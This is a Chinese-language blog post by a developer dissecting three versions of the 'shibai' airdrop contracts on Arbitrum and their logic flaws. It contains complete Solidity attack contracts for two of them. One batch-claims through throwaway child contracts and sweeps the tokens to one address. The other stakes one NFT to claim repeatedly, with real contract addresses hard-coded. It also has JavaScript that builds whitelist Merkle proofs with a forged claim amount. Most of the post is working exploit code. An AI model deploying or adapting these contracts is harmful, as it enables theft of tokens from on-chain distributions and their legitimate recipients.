随着一部分人的暴富,一部分人的愤怒,shibai第一阶段空投暂时告一段落。
作为一名区块链开发者,一直没有撸过空投搞过漏洞,这是从业几年中第一次喝到汤,遂记录下这几天的研究。
这本来是无成本撸空池子的版本,但在空投前的一个小时,不知道是团队没有全部完成项目还是确实发现了漏洞,最终取消了空投
合约地址:
0x911355f8fcb1b25b9d63f2520e5676c94008f82a
https://arbiscan.io/address/0x911355f8fcb1b25b9d63f2520e5676c94008f82a#code
在这个合约中,claimTokensForARB函数内部并没有对领取空投的地址进行检查,任何一个地址都可以以“ARB空投地址的条件”领取空投
function claimTokensForARB() public claimIsLive {
require(ARBclaimCount <= maxAddressForARBclaim, "sorry, claim has ended");
require(!hasClaimedTokens[msg.sender], "You have claimed your tokens");
hasClaimedTokens[msg.sender] = true;
ARBclaimCount += 1;
totalTokensClaimed += claimPerArbWallet;
require(testShibToken.transfer(msg.sender, claimPerArbWallet), "Transfer failed");
emit HasClaimedTokens(msg.sender, claimPerArbWallet);
}
此时你可能会想到创建多个小号去领取空投,可那样的话等领完归集完币价就被砸去90%了,我们可以通过合约创建合约的方式,在一笔交易内领取N人份的空投。
我在测试网上部署了测试合约,成功实现了批量领取,领取完成后归集到一个地址。

攻击合约代码
pragma solidity ^0.8.0;
interface IERC20 {
function transfer(address to, uint256 amount) external returns (bool);
function balanceOf(address account) external view returns (uint256);
}
interface shibDis2 {
function claimTokensForARB() external;
}
// 空投领取合约
contract Runner {
function cliam(address airdrop, address _shibai, address receiver) public {
shibDis2 shibDis2Contract = shibDis2(airdrop);
// 通过ARB空投的方式领取合约
shibDis2Contract.claimTokensForARB();
IERC20 shibai = IERC20(_shibai);
// 查询领取到的余额
uint256 balance = shibai.balanceOf(address(this));
if (balance > 0) {
// 归集余额
shibai.transfer(receiver, balance);
}
// 销毁合约
selfdestruct(payable(address(receiver)));
}
}
contract Run {
address immutable receiver = address("归集地址");
// 批量领取
function beRich(uint256 count, address air, address shibai) public {
Runner runner;
for (uint256 i=0; i < count; i++) {
runner = new Runner();
runner.cliam(air, shibai, receiver);
}
}
}
当时把批量领取的函数命名为“beRich”,很遗憾,最终没有rich。
如果不考虑滑点,还可以在Run合约内部调用神剑的swap接口,领取完成后立刻卖掉。
在2.0版本中,项目放尝试抵押NFT让大家领空投,这样不会让NFT崩盘,似乎是个不错的方法,但真是这样吗?
合约地址:
0xF91117496A349a565fadc4eA8A6c6305b9A5b3A4
https://arbiscan.io/address/0xF91117496A349a565fadc4eA8A6c6305b9A5b3A4#code
在这个合约中,用户需要先调用depositNFT方法将NFT存入空投合约,然后调用claimTokenForNFT方法领取空投。
在depositNFT方法中,代码限制了同一个tokenID只能被存入一次,但最大的错误在下面isStaking[msg.sender] = true,也就是说,只要用户存入了一个NFT,就会把用户标记为已抵押状态。
function depositNFT(uint256[] memory _tokenIds) public {
uint256 depositTimestamp = block.timestamp;
uint256 noOfNfts = _tokenIds.length;
require(noOfNfts > 0, "balance of nfts must be greater than zero");
for(uint256 i = 0; i < noOfNfts; i++) {
uint256 tokenId = _tokenIds[i];
require(nftContract.ownerOf(tokenId) == msg.sender, "You must own the nft");
require(deposits[msg.sender][tokenId] == 0, "You have already deposited");
nftContract.safeTransferFrom(msg.sender, address(this), tokenId);
deposits[msg.sender][tokenId] = depositTimestamp;
}
isStaking[msg.sender] = true;
emit HasStakedNFT(msg.sender, noOfNfts, depositTimestamp);
}
在cliamTokenForNFT方法中,检查了用户是否抵押,但并没有对_tokenIds参数进行检查,也就是说,我们可以传入长度大于10的数组,这样就可以领取到3.0最大倍数的空投奖励(ps:直到最后一个版本,项目方才把>10改成>=10,在之前,持有10个NFT的用户只能领取到0个空投)。
function claimTokenForNFT(uint256[] memory _tokenIds) public claimIsLive {
require(isStaking[msg.sender] == true, "You must stake your nft(s) before claiming");
uint256 noOfNfts = _tokenIds.length;
require(noOfNfts > 0, "balance of nfts must be greater than zero");
uint256 amountOfTokensToClaim;
if(noOfNfts<= 2) {
amountOfTokensToClaim = (25 * claimPerNFT) / 100;
} else if( noOfNfts > 2 && noOfNfts <= 4){
amountOfTokensToClaim = (125 * claimPerNFT) / 100;
} else if(noOfNfts > 4 && noOfNfts <= 9) {
amountOfTokensToClaim = (250 * claimPerNFT) / 100;
} else if(noOfNfts > 10) {
amountOfTokensToClaim = (300 * claimPerNFT) / 100;
}
totalTokensClaimed += amountOfTokensToClaim;
require(tokenContract.transfer(msg.sender, amountOfTokensToClaim), "Transfer failed");
emit HasClaimedTokens(msg.sender, amountOfTokensToClaim);
}
就领取一次?不,你可以领取无限次,在claimTokenForNFT方法中,同样没有对已领取的地址进行标记,导致用户可以无限次领取空投。
我们又部署了一个合约,只抵押了一个tokenID为11的NFT,就领取了50次空投。

攻击合约代码
pragma solidity ^0.8.0;
interface IERC20 {
function approve(address spender, uint256 amount) external returns (bool);
function transfer(address recipient, uint256 amount) external returns (bool);
function balanceOf(address account) external view returns (uint256);
}
interface IERC721 {
function approve(address to, uint256 tokenId) external;
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
interface ShibDis {
function depositNFT(uint256[] memory _tokenIds) external;
function claimTokenForNFT(uint256[] memory _tokenIds) external;
}
contract Attack {
// 接受空投地址
address public dest = address(0x3924105EB1Da270909De27F6f10bCa85B0cbf7f2);
// shibai NFT地址
IERC721 public NFT = IERC721(address(0xD99984e1D6AcB5471681ba4E070F19a9c29B7844));
// 空投合约地址
ShibDis public dis = ShibDis(address(0xF91117496A349a565fadc4eA8A6c6305b9A5b3A4));
// shibai token地址
IERC20 shibai = IERC20(address(0xFA296FcA3c7DBa4a92A42Ec0B5E2138DA3b29050));
uint256[] depositNFTs;
// 领取11份NFT的奖励
uint256[] giftNFTs = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11];
function doClaim(uint256 count, dis nftIndex) public {
if (shibai.balanceOf(address(ShibDis)) == 0) {
return;
}
// 授权空投合约操作该合约的NFT
NFT.approve(address(dis), nftIndex);
depositNFTs.push(nftIndex);
// 抵押NFT
dis.depositNFT(depositNFTs);
// 领取空投奖励N次
for (uint256 i=0; i < count; i ++) {
dis.claimTokenForNFT(giftNFTs);
}
// 将领取到的空投转到dest地址
shibai.transfer(dest, shibai.balanceOf(address(this)));
}
}
这个版本最终也没有上线,可能项目方又发现了bug,或者前端实现比较困难
合约地址:
0x3D3CcedDB8F450CE107822C5F98F5E83200EB308
https://arbiscan.io/address/0x3d3cceddb8f450ce107822c5f98f5e83200eb308#code
在这个合约中,项目方使用了和uniswap空投时一样的merkel证明领取空投,而不使用和AICODE技术一样的后台签名,技术含量不错,也可能是为了不部署后端服务?
这个版本的代码杜绝了重复领取或非白名单领取,但还是犯了和0x02中相同的错误,没有对_amout参数进行校验,导致只要在白名单中的用户无论持有几个NFT,都可以通过构建交易data的方式领取10份NFT的空投奖励。
function claimTokensForNft(bytes32[] calldata proof, uint256 _amount) public claimIsLive {
bytes32 leaf = keccak256(abi.encodePacked(msg.sender));
require(MerkleProof.verify(proof, merkleRootNFT, leaf), "Wallet not eligible to claim");
require(_amount > 0, "You do not own any tokens");
require(!hasClaimedNFT[msg.sender], "You have claimed your Tokens");
uint256 amountOfTokensToClaim;
if(_amount<= 2) {
amountOfTokensToClaim = tier1Claim;
} else if( _amount > 2 && _amount <= 4){
amountOfTokensToClaim = tier2Claim;
} else if(_amount > 4 && _amount <= 9) {
amountOfTokensToClaim = tier3Claim;
} else if(_amount >= 10) {
amountOfTokensToClaim = tier4Claim;
}
totalTokensClaimed += amountOfTokensToClaim;
hasClaimedNFT[msg.sender] = true;
require(tokenContract.transfer(msg.sender, amountOfTokensToClaim), "Transfer failed");
emit HasClaimedNFT(msg.sender, amountOfTokensToClaim);
}
即使不能批量,那我们可以抢跑,更早领取就能更早卖出。
在项目网站https://aishibaog.xyz中,有一个whitelist_Address.js文件,这个文件记录了快照的白名单。

基于白名单地址,我们就可以构建出merkel根,再生成白名单地址的merkel proof,再自定义_amount参数构建16进制数据,发起领取空投交易。
const { WHITELIST_ADDRESS } = require("./whitelist_Address")
const keccak256 = require("keccak256")
const { MerkleTree } = require("merkletreejs")
const addressLeaves = WHITELIST_ADDRESS.map(x => keccak256(x))
const arbMerkleTree = new MerkleTree(addressLeaves, keccak256, {
sortPairs : true
})
function getProof(_userAddress) {
const _leaf = keccak256(_userAddress);
return arbMerkleTree.getHexProof(_leaf);
};
至于最终发布的时候网页上领不了空投,道听途说是没有做大小写判断,后面没有深入研究。
有格局:不知道项目方是不是真的大学生,阴差阳错搞起来的,虽然技术差了点,但还是磕磕绊绊履行了空投承诺,似乎后面还会补上空投?祝大家好运!
没格局:在空投前,项目方往空投白名单里加了30个左右自己的地址,翻看交易记录后这些地址只有两三笔交易,更别说持有过NFT了。
还有一个,有地址在开盘时抢筹了11ETH的币,并在当晚冲进了抹茶,不确定是否想

